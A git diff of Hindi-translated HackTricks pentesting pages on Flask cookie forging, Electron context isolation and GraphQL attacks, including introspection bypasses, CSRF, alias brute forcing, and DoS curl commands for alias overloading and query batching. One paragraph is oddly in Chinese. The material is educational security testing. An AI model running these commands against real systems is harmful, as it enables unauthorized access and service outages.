{{#include ../../../banners/hacktricks-training.md}}
यदि आप बकेट्स की गणना और दुरुपयोग के बारे में अधिक जानना चाहते हैं, तो इस पृष्ठ की जांच करें:
यदि आप Buckets की गणना करने और उनका दुरुपयोग करने के बारे में अधिक जानना चाहते हैं, तो इस पृष्ठ की जांच करें:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -8,6 +8,8 @@ Firebase एक Backend-as-a-Services है जो मुख्य रूप
Firebase के बारे में अधिक जानें:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
"exit" इवेंट श्रोता हमेशा आंतरिक कोड द्वारा सेट किया जाता है जब पृष्ठ लोडिंग शुरू होत है। यह इवेंट नेविगेशन से ठीक पहले उत्सर्जित होता है:
"exit" इवेंट श्रोता हमेशा आंतरिक कोड द्वारा सेट किया जाता है जब पृष्ठ लोडिंग शुरू होत है। यह इवेंट नेविगेशन से ठीक पहले उत्सर्जित होता है:
```javascript
process.on("exit", function () {
for (let p in cachedArchives) {
@ -15,21 +15,23 @@ cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- अब मौजूद नहीं है
फिर यहा जाता है:
फिर यह यह जाता है:
![](<../../../images/image (793).png>)
जहां "self" Node की प्रक्रिया वस्तु है:
जहाँ "self" Node का प्रक्रिया ऑब्जेक्ट है:
![](<../../../images/image (700).png>)
प्रक्रिया वस्तु में "require" फ़ंक्शन का संदर्भ है:
प्रक्रिया ऑब्जेक्ट में "require" फ़ंक्शन का संदर्भ है:
```
process.mainModule.require
```

View File

@ -10,7 +10,7 @@
### Decoder
ऑनलाइन Flask कुकीज़ डिकोडर: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
ऑनलाइन Flask कुकी डिकोडर: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
@ -22,9 +22,11 @@ echo "ImhlbGxvIg" | base64 -d
### **Flask-Unsign**
कमांड लाइन टूल जो एक Flask एप्लिकेशन के सत्र कुकीज़ को प्राप्त करने, डिकोड करने, ब्रूट-फोर्स करने और बनाने के लिए गुप्त कुंजी का अनुमान लगाकर उपयोग किया जाता है।
कमांड लाइन टूल जो एक Flask एप्लिकेशन के सत्र कुकीज़ को प्राप्त करने, डिकोड करने, ब्रूट-फोर्स करने और क्राफ्ट करने के लिए गुप्त कुंजी का अनुमान लगाकर उपयोग किया जाता है।
{% embed url="https://pypi.org/project/flask-unsign/" %}
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
@ -46,19 +48,21 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करता है।
कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करने के लिए है।
{% embed url="https://github.com/Tagvi/ripsession" %}
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### Flask सत्र कुकी में SQLi SQLmap के साथ
[**यह उदाहरण**](../../pentesting-web/sql-injection/sqlmap/#eval) sqlmap `eval` विकल्प का उपयोग करता है ताकि **flask के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके** एक ज्ञात गुप्त के साथ।
[**यह उदाहरण**](../../pentesting-web/sql-injection/sqlmap/#eval) sqlmap `eval` विकल्प का उपयोग करता है ताकि **फ्लास्क के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके** एक ज्ञात गुप्त के साथ।
## SSRF के लिए Flask प्रॉक्सी
[**इस लेख में**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) यह समझाया गया है कि Flask एक अनुरोध को कैसे अनुमति देता है जो वर्ण "@" से शुरू होता है:
[**इस लेख में**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) यह समझाया गया है कि कैसे Flask एक अनुरोध की अनुमति देता है जो चरित्र "@" से शुरू होता है:
```http
GET @/ HTTP/1.1
Host: target.com

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Introduction
GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।
@ -32,17 +31,17 @@ GraphQL को **REST API के लिए एक प्रभावी वि
#### यूनिवर्सल क्वेरीज़ <a href="#universal-queries" id="universal-queries"></a>
यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी की गई वस्तु के प्रकार को प्रकट करती है।
यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी किए गए ऑब्जेक्ट के प्रकार को प्रकट करती है।
```javascript
query{__typename}
```
### बेसिक एन्यूमरेशन
### Basic Enumeration
Graphql आमतौर पर **GET**, **POST** (x-www-form-urlencoded) और **POST**(json) का समर्थन करता है। हालांकि सुरक्षा के लिए केवल json की अनुमति देना अनुशंसित है ताकि CSRF हमलों को रोका जा सके।
#### इंट्रोस्पेक्शन
#### Introspection
स्कीमा जानकारी खोजने के लिए इंट्रोस्पेक्शन का उपयोग करने के लिए, `__schema` फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है।
Schema जानकारी खोजने के लिए introspection का उपयोग करने के लिए, `__schema` फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है।
```bash
query={__schema{types{name,fields{name}}}}
```
@ -52,7 +51,7 @@ query={__schema{types{name,fields{name}}}}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्कों के प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
![](<../../images/image (950).png>)
@ -163,7 +162,7 @@ name
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
अंतिम कोड लाइन एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी।
अंतिम कोड पंक्ति एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी।
![](<../../images/image (363).png>)
@ -177,7 +176,7 @@ name
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
ध्यान दें कि क्वेरी का प्रकार "_flags_" "_Flags_" है, और यह ऑब्जेक्ट नीचे परिभाषित है:
ध्यान दें कि क्वेरी का प्रकार "_flags_" है "_Flags_", और इस ऑब्जेक्ट को नीचे परिभाषित किया गया है:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
@ -185,7 +184,7 @@ name
```javascript
query={flags{name, value}}
```
ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राथमिक** **प्रकार** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है
ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राइमिटिव** **टाइप** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है
![](<../../images/image (958).png>)
@ -194,7 +193,7 @@ query={flags{name, value}}
query = { hiddenFlags }
```
एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_"।\
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
![](<../../images/image (880).png>)
@ -205,7 +204,7 @@ query = { hiddenFlags }
ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा जो _**Int**_ प्रकार का है।\
खैर, हम पहले से ही जानते थे कि, [Basic Enumeration](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था।
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था।
तो, कुछ हल्की _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:\
`query={user(uid:1){user,password}}`
@ -224,7 +223,7 @@ query = { hiddenFlags }
### खोज
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** को उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
```javascript
@ -251,7 +250,7 @@ name
```
ध्यान दें कि व्यक्ति के `subscribedMovies` का `name` प्राप्त करने के लिए कैसे संकेत दिया गया है।
आप **एक ही समय में कई वस्तुओं को खोज सकते हैं**। इस मामले में, 2 फिल्मों की खोज की जाती है:
आप **एक ही समय में कई वस्तुओं की खोज** भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@ -286,11 +285,11 @@ name
**म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।**
**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित चित्र में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"):
**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित छवि में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"):
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और साथ ही फिल्मों का भी स्वामित्व रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है
डेटाबेस के भीतर **नई** फिल्मों को **बनाने** के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को `addMovie` कहा जाता है):
```javascript
@ -360,7 +359,7 @@ GraphQL API के माध्यम से **विभिन्न क्र
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
API中的自省查询限制可以通过在`__schema`关键字后插入**特殊字符**来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注`__schema`关键字来阻止自省。通过添加像**空格、新行和逗号**这样的字符GraphQL会忽略这些字符但在正则表达式中可能没有考虑到因此可以绕过限制。例如`__schema`面带有换行符的自省查询可能会绕过此类防御:
API中的自省查询限制可以通过在`__schema`关键字后插入**特殊字符**来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注`__schema`关键字来阻止自省。通过添加像**空格、新行和逗号**这样的字符GraphQL会忽略这些字符但在正则表达式中可能没有考虑到因此可以绕过限制。例如带有换行符的自省查询`__schema`后可能会绕过此类防御:
```bash
# Example with newline to bypass
{
@ -422,19 +421,19 @@ file:* query
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
इसलिए, जैसे कि पिछले CSRF अनुरोध **बिना प्रीफ्लाइट अनुरोधों** के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में **परिवर्तन** **किए** जाएं।
इसलिए, जैसे कि पिछले CSRF अनुरोध बिना **preflight requests** के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में **परिवर्तन** **किए** जाएं।
हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल तीसरे पक्ष की वेबसाइट से GET अनुरोधों में भेजी जाएगी।
ध्यान दें कि आमतौर पर **क्वेरी** **अनुरोध** को **GET** **अनुरोध** के रूप में भेजना भी संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
ध्यान दें कि आमतौर पर **query** **request** को भी **GET** **request** के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/) **हमले** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है।
अधिक जानकारी के लिए **यहां** [**मूल पोस्ट देखें**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।
## GraphQL में क्रॉस-साइट वेबसॉकेट हाइजैकिंग
## GraphQL में क्रॉस-साइट वेब्सॉक हाईजैकिंग
GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **क्रॉस-साइट वेबसॉकेट हाइजैकिंग** करना भी संभव है ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
CRSF कमजोरियों के समान, GraphQL का दुरुपयोग करने के लिए **क्रॉस-साइट वेब्सॉक हाईजैकिंग** करना भी संभव है, जिससे GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
अधिक जानकारी के लिए देखें:
@ -466,13 +465,13 @@ GraphQL का दुरुपयोग करते हुए CRSF कमजो
## GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना
GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से**ामित करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।
GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से**िर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।
GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)।
हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा सरक्षित किया गया है जो ब्रूट फोर्स हमलों को रोकने के लिए **HTTP अनुरोधों की संख्या** को सीमित करते हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरियों को शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।
हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा सरक्षित किया गया है जो HTTP अनुरोधों की **संख्या** को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरियों को शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।
नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरियों का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को दरकिनार कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है।
नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरियों का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है।
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -491,7 +490,7 @@ valid
### Alias Overloading
**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, संभावित रूप से CPU या मेमोरी को समाप्त कर सकता है:
**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो CPU या मेमोरी को समाप्त कर सकता है:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
@ -502,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \
### **एरे-आधारित क्वेरी बैचिंग**
**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग करते हुए और संभावित रूप से **सेवा का अस्वीक (DoS)** का कण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका उपयोग सेवा की उपलब्धता को कम करने के लिए कर सकता है।
**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति पैदा कर सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -540,7 +539,7 @@ curl -X POST \
### **फील्ड डुप्लिकेशन कमजोरियाँ**
**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति उत्पन्न हो सकती है।
**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **Denial of Service (DoS)** की स्थिति उत्पन्न हो सकती है।
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -551,16 +550,16 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Vulnerability scanners
